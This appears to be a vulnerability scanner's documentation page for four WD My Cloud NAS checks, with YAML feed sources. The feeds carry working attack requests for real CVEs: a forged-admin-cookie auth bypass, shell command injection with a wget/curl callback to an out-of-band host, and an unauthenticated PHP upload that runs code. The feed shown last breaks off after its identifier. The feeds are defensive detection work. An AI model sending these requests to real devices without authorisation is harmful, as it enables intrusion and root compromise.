WD My Cloud — 4 vulnerability checks
noctis ships 4 vulnerability checks for WD My Cloud, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Western Digital My Cloud Authentication Bypass
| CVE | CVE-2018-17153 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/wd-mycloud/CVE-2018-17153.yaml |
Detects the Western Digital My Cloud authentication bypass (CVE-2018-17153): calling `cgi_get_ipv6` with `flag=1` on /cgi-bin/network_mgr.cgi opens an admin session for the caller without a password, after which the forged `username=admin` cookie reaches admin-only CGI modules. Confirmed by reading the admin-only system status of /cgi-bin/home_mgr.cgi with the forged cookie, denied before the bypass request and granted after it (a no-cookie control rules out an endpoint open to everyone).
How noctis detects it
- HTTP(S) request
POST /cgi-bin/home_mgr.cgiwith a crafted body - HTTP(S) request
POST /cgi-bin/home_mgr.cgiwith a crafted body - HTTP(S) request
GET /cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1 - HTTP(S) request
POST /cgi-bin/home_mgr.cgiwith a crafted body - Checks
resp.bodyfor(?s)<(board_temperature|fan|hd_status|disk|raid|raidmode)>.*</(board_…→ finding QoD 97: WD My Cloud authentication bypass confirmed: /cgi-bin/home_mgr.cgi cmd=2 was denied without a cookie (HTTP …) and with the forged cookie is… - Checks
resp.bodyfor(?s)<(board_temperature|fan|hd_status|disk|raid|raidmode)>.*</(board_…→ finding QoD 75: WD My Cloud admin-only system status (/cgi-bin/home_mgr.cgi cmd=2, <config> document) returned with the forged cookie isAdmin=1;username=ad…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17153
- https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/
Feed source — tests/vulnerabilities/wd-mycloud/CVE-2018-17153.yaml
# Western Digital My Cloud — authentication bypass via network_mgr.cgi
# cgi_get_ipv6 (CVE-2018-17153)
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_wd_mycloud_auth_bypass.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108305, GPL-2.0-only). Research: Securify,
# "Authentication bypass vulnerability in Western Digital My Cloud allows
# escalation to admin privileges" (firmware < 2.30.196).
#
# My Cloud binds an admin session to the client IP and then trusts the
# `username=admin` cookie on authenticated CGI modules. The `cgi_get_ipv6`
# command of /cgi-bin/network_mgr.cgi, called with `flag=1`, creates that
# admin session for the caller's IP without any password. Afterwards the
# admin-only system status of /cgi-bin/home_mgr.cgi (`cmd=2`) answers with
# the forged cookie alone.
#
# Detection — differential proof of the bypass, benign (read-only):
# 1. Control: POST home_mgr.cgi `cmd=2` with no cookie. It must answer and
# NOT return the status XML (the CGI is protected, not open to all).
# 2. Pre-check: the exploit request (forged cookie `isAdmin=1;username=admin`)
# sent BEFORE the bypass. It must be denied, so the later access is caused
# by step 3 and not by a cookie-only trust or a pre-existing session.
# 3. GET network_mgr.cgi?cmd=cgi_get_ipv6&flag=1 (the bypass; a 404 is
# normal here, as the NASL notes).
# 4. POST home_mgr.cgi `cmd=2` with the forged cookie (the NASL request).
# A 200 `<config>` document with system-status elements
# (board_temperature / fan / hd_status / disk / raid / raidmode) after a
# denied step 2 proves cgi_get_ipv6 granted admin access without a
# password (QoD 97).
# Fallback (QoD 75): step 2 was already granted — the forged cookie alone
# reaches the admin status (an admin session already bound to the scanner
# IP, e.g. from a scan minutes earlier, or a cookie-only build). Still
# unauthenticated admin access, but not attributable to step 3, hence the
# lower QoD instead of a false negative on a rescan.
# Nothing is written on the device; step 3 only opens a server-side admin
# session bound to the scanner IP, which expires on its own.
#
# Deviations from the NASL (intentional, stronger than OpenVAS):
# - the controls (steps 1-2) rule out a page that serves the status XML to
# everyone, which the NASL would report as this bypass, and tie the QoD 97
# finding to the cgi_get_ipv6 request itself;
# - no prior My Cloud CPE fingerprint is required: the differential itself
# identifies the device, so firmware whose banner the OpenVAS detection
# misses is still covered.
# The Nuclei template filed under CVE-2018-17153 actually exercises the
# google_analytics.php command injection (CVE-2016-10107/10108), covered by
# its own feed; it is not used here.
uid: ad3f7c55-e71a-45d3-afe8-bbafe99a8e15
name: "Western Digital My Cloud Authentication Bypass (CVE-2018-17153)"
description: |
Detects the Western Digital My Cloud authentication bypass (CVE-2018-17153):
calling `cgi_get_ipv6` with `flag=1` on /cgi-bin/network_mgr.cgi opens an
admin session for the caller without a password, after which the forged
`username=admin` cookie reaches admin-only CGI modules. Confirmed by
reading the admin-only system status of /cgi-bin/home_mgr.cgi with the
forged cookie, denied before the bypass request and granted after it
(a no-cookie control rules out an endpoint open to everyone).
cves: [CVE-2018-17153]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [western-digital, wd-mycloud, nas, auth-bypass, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-17153"
- "https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/"
steps:
# Pre-initialise every stored result read by a condition (status -1 = no
# answer), so a failed request never counts as "denied" nor aborts the test.
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {status: -1, body: ""}
- id: init-pre
action: set_var
var_name: pre
var_value: {status: -1, body: ""}
- id: init-resp
action: set_var
var_name: resp
var_value: {status: -1, body: ""}
# 1. Control — no cookie: must answer and be denied.
- id: control
action: http_request
method: POST
path: "/cgi-bin/home_mgr.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "application/xml, text/xml, */*; q=0.01"
Content-Type: "application/x-www-form-urlencoded"
body: "cmd=2"
store_as: ctrl
# 2. Forged cookie BEFORE the bypass: denied on a vulnerable device.
- id: pre-check
action: http_request
method: POST
path: "/cgi-bin/home_mgr.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "application/xml, text/xml, */*; q=0.01"
Content-Type: "application/x-www-form-urlencoded"
Cookie: "isAdmin=1;username=admin"
body: "cmd=2"
store_as: pre
# 3. The bypass: opens an admin session bound to the scanner IP.
- id: bypass
action: http_request
method: GET
path: "/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: bypass_resp
# 4. NASL request: admin-only system status with the forged cookie.
- id: exploit
action: http_request
method: POST
path: "/cgi-bin/home_mgr.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "application/xml, text/xml, */*; q=0.01"
Content-Type: "application/x-www-form-urlencoded"
Cookie: "isAdmin=1;username=admin"
body: "cmd=2"
store_as: resp
# Denied (no cookie) → denied (cookie, before) → granted (cookie, after).
- id: confirm
action: match
source: resp.body
pattern: "(?s)<(board_temperature|fan|hd_status|disk|raid|raidmode)>.*</(board_temperature|fan|hd_status|disk|raid|raidmode)>"
condition: "resp.status == 200 && stridx(resp.body, \"<config>\") >= 0 && ctrl.status > 0 && !(ctrl.status == 200 && stridx(ctrl.body, \"<config>\") >= 0) && pre.status > 0 && !(pre.status == 200 && stridx(pre.body, \"<config>\") >= 0)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Cloud authentication bypass confirmed: /cgi-bin/home_mgr.cgi cmd=2 was denied without a cookie (HTTP {{ctrl.status}}) and with the forged cookie isAdmin=1;username=admin (HTTP {{pre.status}}), then returned the admin-only system status (HTTP {{resp.status}}, <config> document) with the same cookie right after GET /cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1, without any password"
stop: true
# Fallback: the forged cookie was already enough before the bypass.
- id: cookie-only
action: match
source: resp.body
pattern: "(?s)<(board_temperature|fan|hd_status|disk|raid|raidmode)>.*</(board_temperature|fan|hd_status|disk|raid|raidmode)>"
condition: "resp.status == 200 && stridx(resp.body, \"<config>\") >= 0 && ctrl.status > 0 && !(ctrl.status == 200 && stridx(ctrl.body, \"<config>\") >= 0) && pre.status == 200 && stridx(pre.body, \"<config>\") >= 0"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "WD My Cloud admin-only system status (/cgi-bin/home_mgr.cgi cmd=2, <config> document) returned with the forged cookie isAdmin=1;username=admin and no password, while denied without a cookie (HTTP {{ctrl.status}}). The cookie was accepted before GET /cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1 too, so an admin session already bound to the scanner IP (e.g. an earlier scan) cannot be ruled out"
stop: trueWestern Digital My Cloud Unauthenticated Command Injection
| CVE | CVE-2016-10107, CVE-2016-10108 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/wd-mycloud/wd-mycloud-unauth-cmd-injection.yaml |
Detects the Western Digital My Cloud unauthenticated root command injection (CVE-2016-10107 / CVE-2016-10108): a forged admin cookie bypasses login and the `arg` parameter of /web/google_analytics.php (or the `username` cookie read by /index.php) reaches a shell. Confirmation is keyed on a per-run command-substitution collapse returned in the response; when OOB is configured, a blind wget callback covers builds that do not echo output and the cookie vector.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /web/google_analytics.phpwith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: WD My Cloud command injection confirmed via /web/google_analytics.php arg (forged admin cookie): a shell collapsed the per-run payload echo… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /web/google_analytics.phpwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: WD My Cloud blind command injection confirmed via /web/google_analytics.php arg (forged admin cookie): a shell collapsed the $()-split OOB …
- HTTP(S) request
GET / - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: WD My Cloud blind command injection confirmed via the index.php username cookie: a shell collapsed the $()-split OOB token and the injected…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10107
- https://nvd.nist.gov/vuln/detail/CVE-2016-10108
- https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection.rb
Feed source — tests/vulnerabilities/wd-mycloud/wd-mycloud-unauth-cmd-injection.yaml
# Western Digital My Cloud — unauthenticated OS command injection
# (CVE-2016-10107, CVE-2016-10108)
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_wd_mycloud_rce_95201.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108035, GPL-2.0-only), which tracks both CVEs
# together; the cookie vector follows the Nuclei template
# `http/cves/2016/CVE-2016-10108.yaml`. Metasploit:
# `exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection`.
#
# My Cloud firmware up to 2.11.142 trusts a forged cookie
# (`isAdmin=1; username=admin; local_login=1`) as an admin session and passes
# attacker data to a root shell in two places:
# - the `arg` POST parameter of /web/google_analytics.php
# (`cmd=set&opt=cloud-device-num&arg=0|<cmd> #`) — output is echoed back;
# - the `username` cookie read by the login check of /index.php
# (`username=admin|echo `<cmd>``) — output is not echoed back.
#
# Detection — benign proofs only, nothing written, read or persisted:
# 1. In-band command-substitution collapse on google_analytics.php (QoD 97).
# The NASL request is sent with `id` replaced by `echo NOCTIS$()<tok>`
# (per-run tok = rand_hex(16)). Only a real shell collapses the empty
# `$()` and returns the joined marker NOCTIS<tok>; a page that merely
# reflects the request keeps `$()` / `%24%28%29` in place.
# 2. Blind fallbacks, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire): the injected command is
# `wget -q -O /dev/null http://<oob>/<a>$()<b>` (curl if wget is
# missing), run from backticks, where <a><b> = oob_token,
# first through google_analytics.php (builds that run the command without
# echoing it), then through the index.php `username` cookie. The token is
# split by an empty $() so only a shell rebuilds the callback path; a
# proxy/IDS fetching URLs seen in the request hits a wrong path.
#
# Deviations from the NASL (intentional):
# - benign marker instead of `id` (project benign-proof rule);
# - the NASL only exercises google_analytics.php and requires a prior
# My Cloud CPE fingerprint. This feed probes on every http/https port (the
# proof itself identifies the device), and also covers the index.php cookie
# vector and output-less builds via OOB — cases the NASL misses.
uid: 8e56752e-d6d3-414e-b67c-7ec766347312
name: "Western Digital My Cloud Unauthenticated Command Injection (CVE-2016-10107, CVE-2016-10108)"
description: |
Detects the Western Digital My Cloud unauthenticated root command injection
(CVE-2016-10107 / CVE-2016-10108): a forged admin cookie bypasses login and
the `arg` parameter of /web/google_analytics.php (or the `username` cookie
read by /index.php) reaches a shell. Confirmation is keyed on a per-run
command-substitution collapse returned in the response; when OOB is
configured, a blind wget callback covers builds that do not echo output and
the cookie vector.
cves: [CVE-2016-10107, CVE-2016-10108]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [western-digital, wd-mycloud, nas, command-injection, auth-bypass, rce, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10107"
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10108"
- "https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection.rb"
steps:
# Per-run token + expected joined marker. rand_hex(16) => 32 hex chars.
- id: gen-token
action: script
code: |
rand_hex(16)
store_as: tok
- id: gen-marker
action: script
code: |
"NOCTIS" + tok
store_as: marker
# NASL request, `id` swapped for `echo NOCTIS$()<tok>`:
# %20 = space %24%28%29 = $() %23 = #
- id: inject
action: http_request
method: POST
path: "/web/google_analytics.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Accept: "application/xml, text/xml, */*; q=0.01"
Content-Type: "application/x-www-form-urlencoded"
X-Requested-With: "XMLHttpRequest"
Cookie: "isAdmin=1; username=admin; local_login=1; fw_version=2.11.142"
body: "cmd=set&opt=cloud-device-num&arg=0|echo%20NOCTIS%24%28%29{{tok}}%20%23"
store_as: resp
# Confirm RCE: 200 (as the NASL requires) + the joined per-run marker, which
# a raw reflection (NOCTIS$()<tok> / NOCTIS%24%28%29<tok>) cannot produce.
- id: confirm
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Cloud command injection confirmed via /web/google_analytics.php arg (forged admin cookie): a shell collapsed the per-run payload echo NOCTIS$()<tok> into the joined marker {{marker}}"
stop: true
# ── Blind fallbacks (OOB only) ────────────────────────────────────────────
# Split the OOB token around an empty $() so only a shell rebuilds it.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# Vector 1: google_analytics.php arg, output not echoed by some builds.
# Wrapped in `echo `...`` like the NASL / Metasploit payloads: backticks
# run whether the device passes `arg` unquoted or inside double quotes
# (a bare `|wget` would only run unquoted). wget, else curl, to /dev/null.
- id: inject-oob-ga
action: http_request
method: POST
path: "/web/google_analytics.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled"
headers:
Accept: "application/xml, text/xml, */*; q=0.01"
Content-Type: "application/x-www-form-urlencoded"
X-Requested-With: "XMLHttpRequest"
Cookie: "isAdmin=1; username=admin; local_login=1; fw_version=2.11.142"
body: "cmd=set&opt=cloud-device-num&arg=0|echo%20%60wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20curl%20-s%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60%20%23"
store_as: oob_ga
- id: wait-callback-ga
action: wait_oob
oob_timeout_secs: 15
condition: "oob_enabled"
store_as: oob_result_ga
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Cloud blind command injection confirmed via /web/google_analytics.php arg (forged admin cookie): a shell collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: true
# Vector 2: `username` cookie of the index.php login check (Nuclei
# CVE-2016-10108). Backticks run inside double quotes too; the cookie value
# is URL-decoded by PHP (%7C = |, %60 = `).
- id: inject-oob-cookie
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "oob_enabled"
headers:
Cookie: "isAdmin=1; username=admin%7Cecho%20%60wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20curl%20-s%20-o%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%60; local_login=1"
store_as: oob_cookie
- id: wait-callback-cookie
action: wait_oob
oob_timeout_secs: 15
condition: "oob_enabled"
store_as: oob_result_cookie
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "WD My Cloud blind command injection confirmed via the index.php username cookie: a shell collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: trueWestern Digital My Cloud multi_uploadify.php Unauthenticated File Upload
| CVE | CVE-2017-17560 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/wd-mycloud/CVE-2017-17560.yaml |
Detects the Western Digital My Cloud unauthenticated arbitrary file upload in /web/jquery/uploader/multi_uploadify.php (CVE-2017-17560). The feed first requests the script without parameters and continues only when it answers like a vulnerable device (302 redirect to "?status=1", or the gethostbyaddr() warning shown when the device is reached by host name). It then uploads, without credentials, a small PHP file with a random name into the web root /var/www and requests it. When the reply contains "NOCTIS" followed by the sum of two random numbers, which only appears if the server ran the file, code execution is confirmed; the file deletes itself as it runs. If the file comes back unexecuted (its PHP source with this run's numbers), the unauthenticated write is reported at lower confidence, and the evidence names the file left in the web root. If the upload cannot be confirmed, the vulnerable response of the script alone is reported as a version-level detection (302 redirect only). Intrusive: one file is written on the target.
How noctis detects it
- HTTP(S) request
GET /web/jquery/uploader/multi_uploadify.php - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /web/jquery/uploader/multi_uploadify.php?folder=/var/wwwwith a crafted body - HTTP(S) request
GET /.noctis{{proof.tok}}.php - Checks
fetch.bodyforNOCTIS[0-9]{6,7}→ finding QoD 97: Western Digital My Cloud Unauthenticated File Upload to Code Execution (CVE-2017-17560) - Checks
fetch.bodyforNOCTIS'\.\([0-9]+\+[0-9]+\)→ finding QoD 75: Western Digital My Cloud Unauthenticated Arbitrary File Upload (CVE-2017-17560) - Checks
probe.statusfor^302$→ finding QoD 70: Western Digital My Cloud multi_uploadify.php Exposed Without Authentication (CVE-2017-17560)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-17560
- https://www.exploitee.rs/index.php/Western_Digital_MyCloud
- https://www.exploit-db.com/exploits/43435
- https://www.rapid7.com/db/modules/exploit/linux/http/wd_mycloud_multiupload_upload
Feed source — tests/vulnerabilities/wd-mycloud/CVE-2017-17560.yaml
# Western Digital My Cloud — unauthenticated arbitrary file upload via
# /web/jquery/uploader/multi_uploadify.php (CVE-2017-17560)
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_wd_mycloud_file_upload_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140610, GPL-2.0-only). Research: Zenofex /
# Exploitee.rs (DEF CON 25) and GulfTech (James Bercegay); request shape taken
# from the Metasploit module `exploit/linux/http/wd_mycloud_multiupload_upload`.
#
# The script's "login check" resolves the attacker-controlled Host header with
# gethostbyaddr() and queries that host for a session; the failure branch is
# never taken, so anyone can POST a multipart `Filedata[]` file and write it to
# the directory named by the `folder` parameter — e.g. the web root /var/www,
# where a .php file runs as root.
#
# Detection:
# 1. GET multi_uploadify.php with no parameters (the NASL request). A
# vulnerable build answers 302 `Location: ?status=1`; when the request's
# Host is a DNS name, gethostbyaddr() prints a PHP warning first, the
# redirect header is lost and the reply is a 200 with the
# "gethostbyaddr()" warning — the NASL treats that as not vulnerable, this
# feed accepts it too (fewer false negatives).
# 2. Only on that signature: upload `/var/www/.noctis<hex>.php` (random name)
# holding `<?php echo 'NOCTIS'.(A+B); @unlink(__FILE__); ?>` with two
# random numbers, then GET `/.noctis<hex>.php`.
# - body has NOCTIS<A+B> (the sum appears nowhere in the request): the
# uploaded PHP ran → unauthenticated file upload + code execution (QoD
# 97). The file deletes itself as it runs.
# - body has the PHP source with this run's numbers: the file was written
# to the web root but not executed (QoD 75). It cannot self-delete then;
# the evidence names it for clean-up.
# 3. Fallback (QoD 70): the step-1 signature alone, when the upload proof did
# not come back (other web root, upload refused, …).
#
# Intrusive: the probe writes one small, self-deleting file on the target —
# category `rce`, tag `intrusive` (exclude with filters.exclude_categories).
uid: 6c1159ea-0479-417b-be4c-161154d573d9
name: "Western Digital My Cloud multi_uploadify.php Unauthenticated File Upload (CVE-2017-17560)"
description: |
Detects the Western Digital My Cloud unauthenticated arbitrary file upload in
/web/jquery/uploader/multi_uploadify.php (CVE-2017-17560). The feed first
requests the script without parameters and continues only when it answers
like a vulnerable device (302 redirect to "?status=1", or the gethostbyaddr()
warning shown when the device is reached by host name). It then uploads,
without credentials, a small PHP file with a random name into the web root
/var/www and requests it. When the reply contains "NOCTIS" followed by the
sum of two random numbers, which only appears if the server ran the file,
code execution is confirmed; the file deletes itself as it runs. If the file
comes back unexecuted (its PHP source with this run's numbers), the
unauthenticated write is reported at lower confidence, and the evidence names
the file left in the web root. If the upload cannot be confirmed, the
vulnerable response of the script alone is reported as a version-level
detection (302 redirect only). Intrusive: one file is written on the target.
cves: [CVE-2017-17560]
cvss: 9.8
severity: critical
confidence_base: 0.20
category: rce
tags: [western-digital, wd-mycloud, nas, file-upload, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-17560"
- "https://www.exploitee.rs/index.php/Western_Digital_MyCloud"
- "https://www.exploit-db.com/exploits/43435"
- "https://www.rapid7.com/db/modules/exploit/linux/http/wd_mycloud_multiupload_upload"
steps:
# Pre-init so the signature script still runs when the request fails.
- id: init-probe
action: set_var
var_name: probe
var_value: ""
# 1 — Unauthenticated GET of the upload script (no parameters).
- id: probe
action: http_request
method: GET
path: "/web/jquery/uploader/multi_uploadify.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: probe
# 2 — Vulnerable signature: 302 to "?status=1", or the 200 + gethostbyaddr()
# warning page served when the Host header is a DNS name.
- id: signature
action: script
code: |
let loc = if type_of(probe) == "map" && type_of(probe.headers) == "map" && type_of(probe.headers["location"]) == "string" { probe.headers["location"] } else { "" };
let body = if type_of(probe) == "map" && type_of(probe.body) == "string" { probe.body } else { "" };
(type_of(probe) == "map" && probe.status == 302 && stridx(loc, "?status=1") >= 0)
|| (type_of(probe) == "map" && probe.status == 200 && stridx(body, "gethostbyaddr()") >= 0 && stridx(body, "multi_uploadify.php") >= 0)
store_as: sig
# 3 — Per-run proof values: random file name and two random numbers.
- id: mint
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ tok: rand_hex(8), a: a, b: b, sum: a + b, bnd: rand_hex(12) }
store_as: proof
- id: init-fetch
action: set_var
var_name: fetch
var_value: ""
# 4 — Unauthenticated multipart upload into the web root (Metasploit shape:
# `folder` in the query string, file part named Filedata[]).
- id: upload
action: http_request
condition: "sig == true"
method: POST
path: "/web/jquery/uploader/multi_uploadify.php?folder=/var/www"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "multipart/form-data; boundary=----noctis{{proof.bnd}}"
body: "------noctis{{proof.bnd}}\r\nContent-Disposition: form-data; name=\"Filedata[]\"; filename=\".noctis{{proof.tok}}.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo 'NOCTIS'.({{proof.a}}+{{proof.b}}); @unlink(__FILE__); ?>\r\n------noctis{{proof.bnd}}--\r\n"
store_as: upload
# 5 — Request the uploaded file from the web root.
- id: fetch
action: http_request
condition: "sig == true"
method: GET
path: "/.noctis{{proof.tok}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fetch
# 6 — The uploaded PHP ran: NOCTIS<a+b> (the sum is never sent).
- id: confirm-exec
action: match
condition: "sig == true && type_of(fetch) == \"map\" && fetch.status == 200 && stridx(fetch.body, \"NOCTIS\" + proof.sum) >= 0"
source: fetch.body
pattern: "NOCTIS[0-9]{6,7}"
on_match:
finding:
title: "Western Digital My Cloud Unauthenticated File Upload to Code Execution (CVE-2017-17560)"
confidence_delta: 0.75
qod: 97
evidence: "POST /web/jquery/uploader/multi_uploadify.php?folder=/var/www without credentials wrote /var/www/.noctis{{proof.tok}}.php; GET /.noctis{{proof.tok}}.php returned NOCTIS{{proof.sum}} (= {{proof.a}}+{{proof.b}}, computed by the server) at {{target_host}}:{{port}} — the uploaded PHP executed and deleted itself"
stop: true
# 7 — Written but not executed: the PHP source with this run's numbers.
- id: confirm-write
action: match
condition: "sig == true && type_of(fetch) == \"map\" && fetch.status == 200 && stridx(fetch.body, \"(\" + proof.a + \"+\" + proof.b + \")\") >= 0"
source: fetch.body
pattern: "NOCTIS'\\.\\([0-9]+\\+[0-9]+\\)"
on_match:
finding:
title: "Western Digital My Cloud Unauthenticated Arbitrary File Upload (CVE-2017-17560)"
confidence_delta: 0.55
qod: 75
evidence: "POST /web/jquery/uploader/multi_uploadify.php?folder=/var/www without credentials wrote /var/www/.noctis{{proof.tok}}.php, served back unexecuted at {{target_host}}:{{port}} — remove /var/www/.noctis{{proof.tok}}.php"
stop: true
# 8 — Fallback: the 302 `?status=1` response alone (the warning page alone
# is not reported).
- id: signature-only
action: match
condition: "sig == true && probe.status == 302"
source: probe.status
pattern: "^302$"
on_match:
finding:
title: "Western Digital My Cloud multi_uploadify.php Exposed Without Authentication (CVE-2017-17560)"
confidence_delta: 0.50
qod: 70
evidence: "GET /web/jquery/uploader/multi_uploadify.php answered HTTP 302 Location: ?status=1 without credentials at {{target_host}}:{{port}}; the upload proof did not come back — check for and remove /var/www/.noctis{{proof.tok}}.php if present"
stop: trueWestern Digital My Cloud uploadify.php Unauthenticated File Upload
| CVE | CVE-2019-9951 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/wd-mycloud/CVE-2019-9951.yaml |
Detects the Western Digital My Cloud unauthenticated file upload in /web/jquery/uploader/uploadify.php (CVE-2019-9951, firmware before 2.31.174), which lets anyone write arbitrary files anywhere on the attached storage (/mnt/HD, /mnt/USB, /mnt/isoMount). The feed requests the upload script without credentials and reports the device when it runs the script and answers HTTP 200 with a body ending in {"success":false} (optionally preceded by a PHP warning); fixed firmware refuses the request with 403 Forbidden. A random sibling path in the same directory is requested as a control, and the finding is suppressed when that path answers the same way (a server that returns this JSON for any URL). No file is uploaded: the storage is not reachable over HTTP, so a written file could not be read back to prove the write, and it would remain on the user's data volume. The finding is therefore a response-signature detection.
How noctis detects it
- HTTP(S) request
GET /web/jquery/uploader/uploadify.php - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /web/jquery/uploader/noctis{{tok}}.php - Parses / computes the next value with a Rhai script
- Checks
probe.bodyfor\{"success":false\}\s*$→ finding QoD 70: Western Digital My Cloud uploadify.php Unauthenticated File Upload (CVE-2019-9951)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-9951
- https://bnbdr.github.io/posts/wd/
- https://github.com/bnbdr/wd-rce
Feed source — tests/vulnerabilities/wd-mycloud/CVE-2019-9951.yaml
# Western Digital My Cloud — unauthenticated file upload via
# /web/jquery/uploader/uploadify.php (CVE-2019-9951)
#
# Ported from OpenVAS/Greenbone NVT
# `2020/western_digital/gb_wd_mycloud_unauth_file_upload_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108955, GPL-2.0-only). Research: bnbdr
# (https://bnbdr.github.io/posts/wd/, PoC github.com/bnbdr/wd-rce).
#
# uploadify.php is reachable without a session on firmware before 2.31.174:
# its login gate falls back to a "Shockwave Flash" User-Agent path that only
# compares a CSRF token in the query string with one in the POST body (both
# attacker-chosen), then writes the multipart `Filedata` file into the
# `folder` parameter, anywhere under /mnt/HD, /mnt/USB or /mnt/isoMount.
#
# Detection (same signature as the source check):
# GET /web/jquery/uploader/uploadify.php without credentials. A vulnerable
# build runs the script and answers HTTP 200 with a body ending in
# {"success":false} (some models print a PHP session_start() warning first);
# the fixed firmware answers 403 Forbidden for every unauthenticated request.
#
# Why no upload proof: the upload lands on the data volume (/mnt/HD/...), which
# the device does not serve over HTTP, and no public sample of the script's
# success reply exists — a write could neither be read back nor told apart from
# a refusal, and it would leave a file on the user's storage. So the feed
# stays at QoD 70 and writes nothing.
#
# Better than the source check: a random sibling path under
# /web/jquery/uploader/ is requested as a control; a server that answers any
# path with 200 + {"success":false} (generic JSON catch-all) is not reported.
uid: 62f82d5a-53d1-4afc-a30b-f6a073b16469
